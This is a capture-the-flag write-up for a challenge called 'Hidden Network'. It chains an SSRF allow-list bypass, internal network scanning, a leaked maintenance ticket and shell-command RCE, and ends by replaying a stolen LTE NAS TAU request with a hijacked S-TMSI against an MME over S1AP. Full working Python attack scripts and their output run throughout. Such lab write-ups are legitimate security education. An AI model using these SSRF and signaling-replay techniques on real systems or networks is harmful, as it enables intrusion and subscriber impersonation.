infosecfamily
← Back to catalog
CTF Cup  /  Hard

Hidden Network

Tested by: Testing performed by Nikolay Kravtsov, information security specialist

Testing scope and services used.

IP/domain Port Service Target Server Service
localhost - Python 3 -
localhost - curl -
localhost - pycrate / pysctp -
INSTANCE 80 Flask Femtocell Management +
172.19.0.2 36412 MME (S1AP, SCTP) +
172.19.0.3 8081 femto-agent (Flask) +
172.19.0.4 8082 mme-log-relay (Flask) +
172.19.0.5 8080 web application (second interface) +

Glossary of terms

To make it clear without knowledge of telephony:

  • LTE (Long-Term Evolution) - 4G mobile communication standard. The phone communicates with the tower, the tower communicates with the network core.
  • UE (User Equipment) - subscriber device: telephone, modem, Internet of Things module.
  • eNB (evolved Node B) - LTE base station, the “tower” to which the UE is connected.
  • Cell - coverage area of ​​one base station or one sector of it.
  • EPC (Evolved Packet Core) - LTE network core: a set of servers that serve the connection.
  • MME (Mobility Management Entity) - one of the core servers. It registers the UE, verifies identity (authentication), stores context - the subscriber's state and session parameters - and processes service procedures such as TAU.
  • SCTP (Stream Control Transmission Protocol) - transport protocol, alternative to TCP: transmits entire messages and supports multiple streams in one connection. In LTE, eNB and MME communicate via it on the port 36412.
  • S1AP (S1 Application Protocol) - signaling protocol between eNB and MME over SCTP. Through it, the tower registers with the MME, transmits messages from the UE and receives responses.
  • NAS (Non-Access Stratum) - signaling protocol between UE and MME. It is “not visible” to the tower: the eNB simply packages the NAS message into S1AP and transmits it further.
  • TAU (Tracking Area Update) - Location update procedure: The UE informs the network that it is in a new area and presents a temporary identifier.
  • Tracking Area (TA) - a group of cells within which a UE can move without updating its location.
  • IMSI (International Mobile Subscriber Identity) - permanent subscriber identifier, which is stored on the SIM card.
  • TMSI (Temporary Mobile Subscriber Identity) - a temporary subscriber identifier, which the network issues instead of IMSI, so as not to send a permanent identifier over the radio.
  • S-TMSI - abbreviated TMSI for LTE: consists of mMEC and M-TMSI.
  • M-TMSI - random part of the S-TMSI identifying the UE within the MME.
  • mMEC - MME code, by which the network understands which MME serves the subscriber.
  • GUTI (Globally Unique Temporary Identity) - globally unique temporary identifier: includes MME and TMSI identifier. S-TMSI is its short form for radio interface.
  • PLMN (Public Land Mobile Network) - operator network identifier: MCC (country code) + MNC (operator code).
  • TAI (Tracking Area Identity) - tracking area identifier: PLMN + TAC.
  • TAC (Tracking Area Code) - area code within the operator’s network.
  • EUTRAN-CGI (E-UTRAN Cell Global Identifier) - global cell identifier: PLMN + cell code.
  • payload - payload, data that one protocol carries inside another.

How the model works and why it works

To understand the challenge, it helps to know how LTE signaling works. When connecting, the UE (phone) sends a NAS message through the eNB (base station), which wraps it in S1AP and forwards it to the MME (a core network server) over SCTP. The MME authenticates the subscriber, creates a session context, and assigns a temporary identifier, the GUTI; S-TMSI is its short form. When the UE moves, it performs a TAU by sending a NAS TAU request with its old S-TMSI. The MME uses that identifier to find the context and continue serving the UE.

In this challenge, the MME already holds the old UE’s context, and the relay log leaks a NAS TAU request and S-TMSI (mMEC + M-TMSI). The attacker has no radio access, but uses SSRF and RCE to reach the internal network and communicate directly with the MME over SCTP. They send an S1AP InitialUEMessage containing the stolen NAS TAU request and the old UE’s S-TMSI. The MME finds the matching context and accepts the message as legitimate, even though it came from a different eNB.

Attack model: web vulnerability (SSRF) → RCE in the container → access to the internal MME SCTP service → replay of a stolen NAS session with someone else’s S-TMSI. The key point is S-TMSI: without it, MME does not find the context (M-TMSI=0x0), but with it, the MME mistakes someone else’s ‘voice’ for the owner’s. In real LTE, NAS uses integrity checks and counters. The challenge simplifies that protection, which is what the hint about someone else’s ‘signaling whisper’ refers to.

Files used:

  • ssrf_probe.py - checking SSRF and allow-list bypass.
  • scan_services.py - scanning internal subnets via SSRF.
  • enumerate_v1.py - route search /v1/ on internal services.
  • console_chain.py - receiving a maintenance ticket, unlocking the console and executing commands.
  • exploit_s1ap.py - S1AP/NAS replay on MME and flag extraction.
  • flag.txt - flag.
  • evidence.txt - confirmation of receipt of the flag.

Table of contents

  1. Glossary of terms
  2. Web application reconnaissance
  3. Bypassing allow-list in SSRF
  4. Internal network map
  5. Search routes /v1/
  6. Maintenance ticket leak
  7. Console and RCE
  8. Relay log MME
  9. S1AP/NAS replay

Procedure

1) Web application reconnaissance

Public instance - Flask application “Femtocell Management”. Let's look at the main routes:

  • /, /maintenance, /maintenance/console
  • /health, /robots.txt, /static/dashboard.js
  • /api/logs?name=...
  • /api/diagnostics/connectivity-test?target=...

In dashboard.js find the internal peer:

http://mme-monitor:8081/health

It cannot be reached externally, but the application can send a request to an arbitrary target - this is the entry point.

2) Bypass allow-list in SSRF

In connectivity-test only checks the string prefix, while URL normalization rebuilds the address using urlsplit. First, let's look at the vulnerable application code.

@app.get("/api/diagnostics/connectivity-test")
def connectivity_test():
    target = request.args.get("target", "http://mme-monitor:8081/health")
    if not target.startswith("http://mme-monitor"):
        abort(403, description="Target is outside the configured management peer")
    try:
        normalized_target = normalize_probe_target(target)
        with urlrequest.urlopen(normalized_target, timeout=2) as response:
            body = response.read(4096).decode("utf-8", errors="replace")
            return jsonify({"target": target, "status": response.status, "body": body})
    except urlerror.HTTPError as exc:
        body = exc.read(4096).decode("utf-8", errors="replace")
        return jsonify({"target": target, "status": exc.code, "body": body}), exc.code
    except (OSError, ValueError, urlerror.URLError) as exc:
        return jsonify({"target": target, "status": "unreachable", "error": str(exc)}), 502


def normalize_probe_target(target):
    parsed = urlsplit(target)
    if parsed.scheme != "http" or not parsed.hostname:
        raise ValueError("invalid HTTP target")
    try:
        port = f":{parsed.port}" if parsed.port is not None else ""
    except ValueError as exc:
        raise ValueError("invalid target port") from exc
    return urlunsplit((parsed.scheme, f"{parsed.hostname}{port}", parsed.path, parsed.query, ""))

Key points:

  • startswith checks the entire source string, including userinfo;
  • normalize_probe_target only takes parsed.hostname, so mme-monitor:8081@... turns into an address after @;
  • As a result, the check and the actual connection look at different parts of the URL.

Therefore, such a target passes the check, but the request goes to the internal IP:

http://mme-monitor:8081@172.19.0.3:8081/v1/jobs/8427

To test the hypothesis we use ssrf_probe.py. The script constructs a target URL containing userinfo, encodes it in connectivity-test and prints the status and the beginning of the response.

import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://INSTANCE"


def ssrf(inner, timeout=12):
    target = "http://mme-monitor:8081@" + inner
    url = BASE + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        return r.status, r.read(800)
    except urllib.error.HTTPError as e:
        return e.code, e.read(800)
    except Exception as e:
        return "ERR", str(e).encode()


if __name__ == "__main__":
    for x in sys.argv[2:]:
        print(x, "=>", ssrf(x))
        time.sleep(0.8)
  • Launch:
python3 ssrf_probe.py http://INSTANCE http://172.19.0.3:8081/v1/health
  • Result:
http://172.19.0.3:8081/v1/health => (200, b'{"service":"femto-agent","status":"ok"}')

3) Internal network map

scan_services.py searches through addresses in internal subnets and ports, wrapping each request in the same SSRF. For every pair IP:порт it checks the status and body response: if the service responded, the pair is printed; if the connection is rejected or the name does not resolve, it is skipped.

import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request

HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST


def ssrf(target, timeout=6):
    url = SSRF + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        body = r.read()
        try:
            return json.loads(body)
        except Exception:
            return {"_raw": body.decode("utf-8", "replace")[:200]}
    except urllib.error.HTTPError as e:
        try:
            return json.loads(e.read())
        except Exception:
            return {"_http": e.code}
    except Exception as e:
        return {"_err": str(e)}


def probe(hp):
    host, port = hp
    j = ssrf("http://mme-monitor:8081@%s:%d/" % (host, port))
    if "_err" in j:
        return None
    if "_http" in j:
        return (host, port, "HTTP%d" % j["_http"], str(j)[:150])
    st = j.get("status")
    if st == "unreachable":
        err = str(j.get("error", "")).lower()
        if "refused" in err or "name resolution" in err or "timed out" in err:
            return None
        return (host, port, st, str(j)[:150])
    return (host, port, st, str(j.get("body"))[:200].replace("\n", " "))


if __name__ == "__main__":
    nets = sys.argv[1].split(",") if len(sys.argv) > 1 else ["172.19.0", "172.18.0"]
    ports = [int(x) for x in (sys.argv[2].split(",") if len(sys.argv) > 2 else ["80", "8000", "8080", "8081", "8082", "3000", "5000", "8888", "9000"])]
    targets = [("%s.%d" % (n, i), p) for n in nets for i in range(1, 16) for p in ports]
    with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
        for r in ex.map(probe, targets):
            if r:
                print(r, flush=True)
  • Launch:
INST=INSTANCE python3 scan_services.py 172.19.0,172.18.0 80,8000,8080,8081,8082,3000
  • Result:
('172.19.0.2', 8081, 'HTTP404', "{'_http': 404}")
('172.19.0.3', 8081, 200, '{"service":"femto-agent","status":"ok"}')
('172.19.0.4', 8082, 200, '{"service":"femto-log-relay","status":"ok"}')
('172.19.0.5', 8080, 200, '<!doctype html><html lang="ru">...')

Result:

  • 172.19.0.2 - true MME, SCTP port 36412, S1AP; TCP 8081 closed.
  • 172.19.0.3:8081 - femto-agent.
  • 172.19.0.4:8082 - mme-log-relay.
  • 172.19.0.5:8080 - public web application.

DNS did not work inside containers (EAI_AGAIN), so we continue to use IP everywhere.

4) Search for routes /v1/

At first, it looked as though access to the internal services depended on the Host header: the root and obvious paths returned 404. In fact, all routes were under /v1/. enumerate_v1.py iterates through the dictionary of typical names (health, jobs, tickets, diagnostics, sessions etc.) and prints everything that responded not 404.

import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request

HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST
NAMES = """health status ready live ping probe version info whoami metrics
sessions session session/new session/list session/show session/get auth login logout token tokens
tickets ticket ticket/new ticket/issue issue claim
dispatch support field-support
logs log log/8427 log/1 logs/8427
echo s1 s1ap mme hss ue enb gnb cgi tr069 cwmp acs device devices devices/FEMTO-042
agent femto femtocell femto-agent job jobs queue queue/status worker workers
messages message relay relay/logs relay/sessions
register announce heartbeat config env flag flags secret secrets
maintenance console admin debug
management peers peer monitor monitoring diagnostics connectivity""".split()


def ssrf(target, timeout=10):
    url = SSRF + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        body = r.read()
        try:
            return json.loads(body)
        except Exception:
            return {"_raw": body.decode("utf-8", "replace")[:400]}
    except urllib.error.HTTPError as e:
        try:
            return json.loads(e.read())
        except Exception:
            return {"_http": e.code}
    except Exception as e:
        return {"_err": str(e)}


def probe(args):
    ip, port, path = args
    j = ssrf("http://mme-monitor:8081@%s:%d%s" % (ip, port, path))
    if "_err" in j:
        return (ip, path, "ERR", j["_err"][:50])
    st = j.get("status")
    body = str(j.get("body", j.get("_raw", "")))[:250].replace("\n", " ")
    if st == 404:
        return None
    return (ip, path, st, body, j.get("error", ""))


if __name__ == "__main__":
    paths = set()
    for n in NAMES:
        for p in ["/v1/" + n, "/v1/" + n + "/"]:
            paths.add(p)
    targets = [(ip, port, p) for ip, port in [("172.19.0.3", 8081), ("172.19.0.4", 8082)] for p in paths]
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
        for r in ex.map(probe, targets):
            if r:
                print(r, flush=True)
  • Launch:
INST=INSTANCE python3 enumerate_v1.py
  • Result:
('172.19.0.3', '/v1/health', 200, '{"service":"femto-agent","status":"ok"}', '')
('172.19.0.3', '/v1/jobs/8427', 200, '{"device_id":"FEMTO-042",...}', '')
('172.19.0.4', '/v1/health', 200, '{"service":"femto-log-relay","status":"ok"}', '')
('172.19.0.4', '/v1/diagnostics/ran-support-cache.log', 200, 'S1AP UL NAS trace:...', '')

5) Leaked maintenance ticket

On femto-agent pre-auth route found /v1/jobs/8427. It gives the job context without checking the owner.

  • Request:
GET /api/diagnostics/connectivity-test?target=http%3A%2F%2Fmme-monitor%3A8081%40172.19.0.3%3A8081%2Fv1%2Fjobs%2F8427
  • Result:
{
  "device_id": "FEMTO-042",
  "id": 8427,
  "m_tmsi": "0x63abd840",
  "maintenance_ticket": "MNT-FEMTO-042-1e6821-Mdtd0dK9mkeWWfdJ",
  "nas_log": "ran-support-cache.log",
  "state": "periodic-tau-captured",
  "subscriber_ref": "lab-ue-001",
  "ticket_expires_at": 1793466867
}

The ticket is a one-time ticket and lasts for 15 minutes, but is issued without authorization, so it can be received at any time.

6) Console and RCE

We send a ticket to /maintenance. If successful, it is written to the session console_unlocked=true, and opens /maintenance/console. The console executes commands via /bin/sh -lc:

def execute_diagnostic(command):
    container_guard()
    command = command.strip()
    if not command:
        return 0, ""
    if len(command) > MAX_COMMAND_LENGTH:
        return 2, f"command is limited to {MAX_COMMAND_LENGTH} characters"
    try:
        completed = subprocess.run(
            ["/bin/sh", "-lc", command],
            cwd="/opt/femto",
            capture_output=True,
            text=True,
            timeout=4,
            check=False,
        )
    except subprocess.TimeoutExpired:
        return 124, "command timed out after 4 seconds"
    except OSError as exc:
        return 127, str(exc)
    output = completed.stdout
    if completed.stderr:
        output += f"\n[stderr]\n{completed.stderr}"
    return completed.returncode, output.rstrip()

console_chain.py automates the entire chain: makes an SSRF request to /v1/jobs/<id>, takes out a ticket, sends it to /maintenance, saves the cookie and executes the specified command via /maintenance/console.

import argparse
import http.cookiejar
import json
import urllib.parse
import urllib.request


def ssrf(base, inner, timeout=20):
    target = "http://mme-monitor:8081@" + inner
    url = base + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
    with urllib.request.urlopen(url, timeout=timeout) as r:
        return json.loads(r.read().decode())


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("base")
    ap.add_argument("--agent", default="172.19.0.3:8081")
    ap.add_argument("--job", default="8427")
    ap.add_argument("command", nargs="?", default="id; hostname; ls -la /opt/femto")
    args = ap.parse_args()

    j = ssrf(args.base, "http://%s/v1/jobs/%s" % (args.agent, args.job))
    body = j["body"]
    if isinstance(body, str):
        body = json.loads(body)
    ticket = body["maintenance_ticket"]

    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    data = urllib.parse.urlencode({"ticket": ticket}).encode()
    opener.open(urllib.request.Request(args.base + "/maintenance", data=data), timeout=20).read()
    data = urllib.parse.urlencode({"command": args.command}).encode()
    r = opener.open(urllib.request.Request(args.base + "/maintenance/console", data=data), timeout=20)
    print(r.read().decode("utf-8", "replace"))


if __name__ == "__main__":
    main()
  • Launch:
python3 console_chain.py http://INSTANCE --agent 172.19.0.3:8081 --job 8427 "id; pwd; ls -la /opt/femto"
  • Result:
uid=10001(femto) gid=999(femto) groups=999(femto)
/opt/femto
total 44
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 .
drwxr-xr-x 1 root  root  4096 Oct 29 20:48 ..
-rw-r--r-- 1 femto femto 4520 Oct 29 19:45 agent.py
-rw-r--r-- 1 femto femto 6286 Oct 28 19:41 app.py
-rw-r--r-- 1 femto femto 7844 Oct 29 19:48 log_relay.py
-rw-r--r-- 1 femto femto   44 Oct 29 20:48 requirements.txt
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 static
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 templates

Reading app.py, agent.py, log_relay.py and understand where the “echo” of the old session lies.

7) Relay log MME

log_relay.py forwards the MME diagnostic log to a file accessible via:

GET http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log
  • Command:
curl -s http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log | grep 'tracking-area-update'
  • Result:
S1AP UL NAS trace: procedure=tracking-area-update ingress=initial_ue_message m_tmsi=0x63abd840 enb_ue_s1ap_id=318 mme_ue_s1ap_id=0 security_header_type=1 integrity=ok nas_pdu_hex=171a1b8575020748...02abc0

The log has everything you need:

  • m_tmsi=0x63abd840 - old UE identifier;
  • nas_pdu_hex=... - full NAS TAU Request;
  • mMEC=0x1a - MME code for S-TMSI.

This is the “echo”: the voice of the old session that MME is still willing to listen to.

8) S1AP/NAS replay

MME listens to SCTP 172.19.0.2:36412. Script exploit_s1ap.py does three things:

  1. Encodes S1SetupRequest (eNB ID, PLMN, TAC) and sends it to the MME.
  2. Encodes InitialUEMessage with NAS PDU from the log and inserts S-TMSI IE (id 96) with mMEC=0x1a and m-TMSI=0x63abd840.
  3. Reads the responses and searches them for ctfcup{...}.

Critical moment: without IE S-TMSI MME does not find the old session and writes:

No registered UE context for TAU, M-TMSI=0x0
import socket
import time
import re
from sctp import sctpsocket_tcp
from pycrate_asn1dir import S1AP

P = S1AP.S1AP_PDU_Descriptions().S1AP_PDU

NAS = bytes.fromhex(
    "171a1b8575020748030bf600f11000011a63abd8405805f0f0c040091300f1100006c11002abc0"
)

STMSI = {"mMEC": b"\x1a", "m-TMSI": b"\x63\xab\xd8\x40"}


def enc(val):
    P.set_val(val)
    return P.to_aper()


def setup(enbid, name):
    return ("initiatingMessage", {
        "procedureCode": 17,
        "criticality": "reject",
        "value": ("S1SetupRequest", {"protocolIEs": [
            {"id": 59, "criticality": "reject", "value": ("Global-ENB-ID", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "eNB-ID": ("macroENB-ID", (enbid, 20))})},
            {"id": 60, "criticality": "ignore", "value": ("ENBname", name)},
            {"id": 64, "criticality": "reject", "value": ("SupportedTAs", [{
                "tAC": bytes.fromhex("0007"),
                "broadcastPLMNs": [bytes.fromhex("00f110")]}])},
            {"id": 137, "criticality": "ignore", "value": ("PagingDRX", "v64")},
        ]})})


def ium(nas):
    return ("initiatingMessage", {
        "procedureCode": 12,
        "criticality": "reject",
        "value": ("InitialUEMessage", {"protocolIEs": [
            {"id": 8, "criticality": "reject", "value": ("ENB-UE-S1AP-ID", 5218)},
            {"id": 26, "criticality": "reject", "value": ("NAS-PDU", nas)},
            {"id": 96, "criticality": "reject", "value": ("S-TMSI", STMSI)},
            {"id": 67, "criticality": "reject", "value": ("TAI", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "tAC": bytes.fromhex("0007")})},
            {"id": 100, "criticality": "ignore", "value": ("EUTRAN-CGI", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "cell-ID": (1, 28)})},
            {"id": 134, "criticality": "ignore",
             "value": ("RRC-Establishment-Cause", "mo-Signalling")},
        ]})})


def main():
    for eid in (0x44D, 0x999):
        s = sctpsocket_tcp(socket.AF_INET)
        s.settimeout(2)
        s.connect(("172.19.0.2", 36412))
        s.sctp_send(enc(setup(eid, "epc-lab-main")), ppid=18, stream=0)
        time.sleep(0.5)
        try:
            print("S", hex(eid), s.recv(65535).hex(), flush=True)
        except Exception as e:
            print("SE", e, flush=True)
        s.sctp_send(enc(ium(NAS)), ppid=18, stream=0)
        for i in range(6):
            try:
                d = s.recv(65535)
                print("R", hex(eid), i, d.hex(), flush=True)
                m = re.search(rb"ctfcup\{[^}]+\}", d)
                if m:
                    print("FLAG", m.group().decode(), flush=True)
            except Exception as e:
                print("E", hex(eid), i, e, flush=True)
                break
        s.close()


if __name__ == "__main__":
    main()
  • Launch:
python3 exploit_s1ap.py
  • Result:
R 0x44d 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}
R 0x999 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}

Flag:

ctfcup{tau_replay_8d066a06290a5c0a}

Note

Note: I liked the task because the final step was not another web bug, but working with the telecom protocol: it was necessary not just to reach the MME, but to reproduce the old NAS session with the correct S-TMSI. Before this, the chain was completely web-based: SSRF, ticket leak, RCE and reading the internal log. It is the combination of the web and LTE/S1AP that makes the task memorable. P.S.: thanks to MTS for such knowledge